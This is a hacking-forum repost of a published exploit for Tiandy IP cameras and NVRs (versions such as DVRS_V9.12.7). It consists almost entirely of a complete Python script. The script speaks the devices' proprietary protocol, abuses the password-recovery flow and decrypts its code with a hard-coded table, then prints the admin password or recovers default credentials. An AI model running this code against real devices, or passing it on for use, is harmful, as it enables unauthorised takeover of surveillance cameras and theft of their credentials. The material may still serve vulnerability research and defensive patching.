Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Tiandy IPC and NVR 9.12.7 - Credential Disclosure

 Share


Recommended Posts

# Exploit Title: Tiandy IPC and NVR 9.12.7 - Credential Disclosure
# Date: 2020-09-10
# Exploit Author: zb3
# Vendor Homepage: http://en.tiandy.com
# Product Link: http://en.tiandy.com/index.php?s=/home/product/index/category/products.html
# Software Link: http://en.tiandy.com/index.php?s=/home/article/lists/category/188.html
# Version: DVRS_V9.12.7, DVRS_V11.7.4, NVSS_V13.6.1, NVSS_V22.1.0
# Tested on: Linux
# CVE: N/A


# Requires Python 3 and PyCrypto

# For more details and information on how to escalate this further, see:
# https://github.com/zb3/tiandy-research


import sys
import hashlib
import base64
import socket
import struct

from Crypto.Cipher import DES


def main():
  if len(sys.argv) != 2:
    print('python3 %s [host]' % sys.argv[0], file=sys.stderr)
    exit(1)

  host = sys.argv[1]

  conn = Channel(host)
  conn.connect()

  crypt_key = conn.get_crypt_key(65536)

  attempts = 2
  tried_to_set_mail = False
  ok = False

  while attempts > 0:
    attempts -= 1

    code = get_psw_code(conn)

    if code == False:
      # psw not supported
      break

    elif code == None:
      if not tried_to_set_mail:
        print("No PSW data found, we'll try to set it...", file=sys.stderr)

        tried_to_set_mail = True
        if try_set_mail(conn, 'a@a.a'):
          code = get_psw_code(conn)

    if code == None:
      print("couldn't set mail", file=sys.stderr)
      break

    rcode, password = recover_with_code(conn, code, crypt_key)

    if rcode == 5:
      print('The device is locked, try again later.', file=sys.stderr)
      break

    if rcode == 0:
      print('Admin', password)
      ok = True
      break

  if tried_to_set_mail:
    try_set_mail(conn, '')

  if not code:
    print("PSW is not supported, trying default credentials...", file=sys.stderr)

    credentials = recover_with_default(conn, crypt_key)

    if credentials:
      user, pw = credentials
      print(user, pw)

      ok = True

  if not ok:
    print('Recovery failed', file=sys.stderr)
    exit(1)


def try_set_mail(conn, target):
  conn.send_msg(['PROXY', 'USER', 'RESERVEPHONE', '2', '1', target, 'FILETRANSPORT'])
  resp = conn.recv_msg()

  return resp[4:7] == ['RESERVEPHONE', '2', '1']

def get_psw_code(conn):
  conn.send_msg(['IP', 'USER', 'LOGON', base64.b64encode(b'Admin').decode(), base64.b64encode(b'Admin').decode(), '', '65536', 'UTF-8', '0', '1'])
  resp = conn.recv_msg()

  if resp[4] != 'FINDPSW':
    return False

  psw_reg = psw_data = None

  if len(resp) > 7:
    psw_reg = resp[6]
    psw_data = resp[7]

  if not psw_data:
    return None

  psw_type = int(resp[5])

  if psw_type not in (1, 2, 3):
    raise Exception('unsupported psw type: '+str(psw_type))

  if psw_type == 3:
    psw_data = psw_data.split('"')[3]

  if psw_type == 1:
    psw_data = psw_data.split(':')[1]
    psw_key = psw_reg[:0x1f]

  elif psw_type in (2, 3):
    psw_key = psw_reg[:4].lower()

  psw_code = td_decrypt(psw_data.encode(), psw_key.encode())
  code = hashlib.md5(psw_code).hexdigest()[24:]

  return code


def recover_with_code(conn, code, crypt_key):
  conn.send_msg(['IP', 'USER', 'SECURITYCODE', code, 'FILETRANSPORT'])
  resp = conn.recv_msg()

  rcode = int(resp[6])

  if rcode == 0:
    return rcode, decode(resp[8].encode(), crypt_key).decode()

  return rcode, None


def recover_with_default(conn, crypt_key):
  res = conn.login_with_key(b'Default', b'Default', crypt_key)
  if not res:
    return False

  while True:
    msg = conn.recv_msg()

    if msg[1:5] == ['IP', 'INNER', 'SUPER', 'GETUSERINFO']:
      return decode(msg[6].encode(), crypt_key).decode(), decode(msg[7].encode(), crypt_key).decode()


###
### lib/des.py
###

def reverse_bits(data):
  return bytes([(b * 0x0202020202 & 0x010884422010) % 0x3ff for b in data])

def pad(data):
  if len(data) % 8:
    padlen = 8 - (len(data) % 8)
    data = data + b'\x00' * (padlen-1) + bytes([padlen])

  return data

def unpad(data):
  padlen = data[-1]

  if 0 < padlen <= 8 and data[-padlen:-1] == b'\x00'*(padlen-1):
    data = data[:-padlen]

  return data

def encrypt(data, key):
  cipher = DES.new(reverse_bits(key), 1)
  return reverse_bits(cipher.encrypt(reverse_bits(pad(data))))

def decrypt(data, key):
  cipher = DES.new(reverse_bits(key), 1)
  return unpad(reverse_bits(cipher.decrypt(reverse_bits(data))))

def encode(data, key):
  return base64.b64encode(encrypt(data, key))

def decode(data, key):
  return decrypt(base64.b64decode(data), key)


###
### lib/binproto.py
###

def recvall(s, l):
  buf = b''
  while len(buf) < l:
    nbuf = s.recv(l - len(buf))
    if not nbuf:
      break

    buf += nbuf

  return buf

class Channel:
  def __init__(self, ip, port=3001):
    self.ip = ip
    self.ip_bytes = socket.inet_aton(ip)[::-1]
    self.port = port
    self.msg_seq = 0
    self.data_seq = 0
    self.msg_queue = []

  def fileno(self):
    return self.socket.fileno()

  def connect(self):
    self.socket = socket.socket()
    self.socket.connect((self.ip, self.port))

  def reconnect(self):
    self.socket.close()
    self.connect()

  def send_cmd(self, data):
    self.socket.sendall(b'\xf1\xf5\xea\xf5' + struct.pack('<HH8xI', self.msg_seq, len(data) + 20, len(data)) + data)
    self.msg_seq += 1

  def send_data(self, stream_type, data):
    self.socket.sendall(struct.pack('<4sI4sHHI', b'\xf1\xf5\xea\xf9', self.data_seq, self.ip_bytes, 0, len(data) + 20, stream_type) + data)
    self.data_seq += 1


  def recv(self):
    hdr = recvall(self.socket, 20)
    if hdr[:4] == b'\xf1\xf5\xea\xf9':
      lsize, stream_type = struct.unpack('<14xHI', hdr)
      data = recvall(self.socket, lsize - 20)

      if data[:4] != b'NVS\x00':
        print(data[:4], b'NVS\x00')
        raise Exception('invalid data header')

      return None, [stream_type, data[8:]]


    elif hdr[:4] == b'\xf1\xf5\xea\xf5':
      lsize, dsize = struct.unpack('<6xH10xH', hdr)

      if lsize != dsize + 20:
        raise Exception('size mismatch')

      msgs = []

      for msg in recvall(self.socket, dsize).decode().strip().split('\n\n\n'):
        msg = msg.split('\t')
        if '.' not in msg[0]:
          msg = [self.ip] + msg

        msgs.append(msg)

      return msgs, None

    else:
      raise Exception('invalid packet magic: ' + hdr[:4].hex())

  def recv_msg(self):
    if len(self.msg_queue):
      ret = self.msg_queue[0]
      self.msg_queue = self.msg_queue[1:]

      return ret

    msgs, _ = self.recv()

    if len(msgs) > 1:
      self.msg_queue.extend(msgs[1:])

    return msgs[0]

  def send_msg(self, msg):
    self.send_cmd((self.ip+'\t'+'\t'.join(msg)+'\n\n\n').encode())

  def get_crypt_key(self, mode=1, uname=b'Admin', pw=b'Admin'):
    self.send_msg(['IP', 'USER', 'LOGON', base64.b64encode(uname).decode(), base64.b64encode(pw).decode(), '', str(mode), 'UTF-8', '805306367', '1'])

    resp = self.recv_msg()

    if resp[4:6] != ['LOGONFAILED', '3']:
      print(resp)
      raise Exception('unrecognized login response')

    crypt_key = base64.b64decode(resp[8])
    return crypt_key

  def login_with_key(self, uname, pw, crypt_key):
    self.reconnect()

    hashed_uname = base64.b64encode(hashlib.md5(uname.lower()+crypt_key).digest())
    hashed_pw = base64.b64encode(hashlib.md5(pw+crypt_key).digest())

    self.send_msg(['IP', 'USER', 'LOGON', hashed_uname.decode(), hashed_pw.decode(), '', '1', 'UTF-8', '1', '1'])
    resp = self.recv_msg()

    if resp[4] == 'LOGONFAILED':
      return False

    self.msg_queue = [resp] + self.msg_queue

    return True

  def login(self, uname, pw):
    crypt_key = self.get_crypt_key(1, uname, pw)

    if not self.login_with_key(uname, pw, crypt_key):
      return False

    return crypt_key



###
### lib/crypt.py
###

pat = b'abcdefghijklmnopqrstuvwxyz0123456789'

def td_asctonum(code):
  if code in b'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
    code += 0x20

  if code not in pat:
    return None

  return pat.index(code)


def td_numtoasc(code):
  if code < 36:
    return pat[code]

  return None

gword = [
  b'SjiW8JO7mH65awR3B4kTZeU90N1szIMrF2PC',
  b'04A1EF7rCH3fYl9UngKRcObJD6ve8W5jdTta',
  b'brU5XqY02ZcA3ygE6lf74BIG9LF8PzOHmTaC',
  b'2I1vF5NMYd0L68aQrp7gTwc4RP9kniJyfuCH',
  b'136HjBIPWzXCY9VMQa7JRiT4kKv2FGS5s8Lt',
  b'Hwrhs0Y1Ic3Eq25a6t8Z7TQXVMgdePuxCNzJ',
  b'WAmkt3RCZM829P4g1hanBluw6eVGSf7E05oX',
  b'dMxreKZ35tRQg8E02UNTaoI76wGSvVh9Wmc1',
  b'i20mzKraY74A6qR9QM8H3ecUkBlpJC1nyFSZ',
  b'XCAUP6H37toQWSgsNanf0j21VKu9T4EqyGd5',
  b'dFZPb9B6z1TavMUmXQHk7x402oEhKJD58pyG',
  b'rg8V3snTAX6xjuoCYf519BzWRtcMl2OiZNeI',
  b'dZe620lr8JW4iFhNj3K1x59Una7PXsLGvSmB',
  b'5yaQlGSArNzek6MXZ1BPOE3xV470h9KvgYmb',
  b'f12CVxeQ56YWd7OTXDtlnPqugjJikELayvMs',
  b'9Qoa5XkM6iIrR7u8tNZgSpbdDUWvwH21Kyzh',
  b'AqGWke65Y2ufVgljEhMHJL01D8Zptvcw7CxX',
  b't960P2inR8qEVmAUsDZIpH5wzSXJ43ob1kGW',
  b'4l6SAi2KhveRHVN5JGcmx9jOC3afB7wF0ITq',
  b'tEOp6Xo87QzPbn24J3i9FjWKS1lIBVaMZeHU',
  b'zx27DH915lhs04aMJOgf6Z3pyERrGndiLwIe',
  b'8XxOBzZ02hUWDQfvL471q9RC6sAaJVFuTMdG',
  b'jON0i4C6Z3K97DkbqSypH8lRmx5o2eIwXas1',
  b'OIGT0ubwH1x6hCvEgBn274A5Q8K9e3YyzWlm',
  b'zgejY41CLwRNabovBUP2Aql7FVM8uEDXZQ0c',
  b'Z2MpQE91gdRLYJ8bGIWyOfc4v03Hjzs6VlU5',
  b't6PuvrBXeoHk5FJW08DYQSI49GCwZ27cA1UK',
  b'FiBA53IMW97kYNz82GhHf1yUCdL0nlvRD46s',
  b'2Vz3b06h54jmc7a8AIYtNHM1iQU9wBXWyJkR',
  b'wyI42azocV3UOX6fk579hMH8eEGJsgFuBmqb',
  b'TxmnK4ljJ9iroY8vVtg3Rae2L516fBWUuXAS',
  b'z6Y1bPrJEln0uWeLKkjo9IZ2y7ROcFHqBm54',
  b'x064LFB39TsXeryqvt2pZN8QIERuWAVUmwjJ',
  b'76qg85yB31uH90YbZofsjKrRGiTVndAEtFMx',
  b'WjwTEbCA752kq89shcaLB1xO64rgMYnoFiJQ',
  b'u6307O4J2DeZs8UYyjlzfX91KGmavEdwTRSg'
]

def td_decrypt(data, key):
  kdx = 0
  ret = []

  for idx, code in enumerate(data):
    while True:
      if kdx >= len(key):
        kdx = 0

      kcode = key[kdx]
      knum = td_asctonum(kcode)

      if knum is None:
        kdx += 1
        continue

      break

    if code not in gword[knum]:
      return None

    cpos = gword[knum].index(code)
    ret.append(td_numtoasc(cpos))

    kdx += 1

  return bytes(ret)



if __name__ == '__main__':
    main()
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...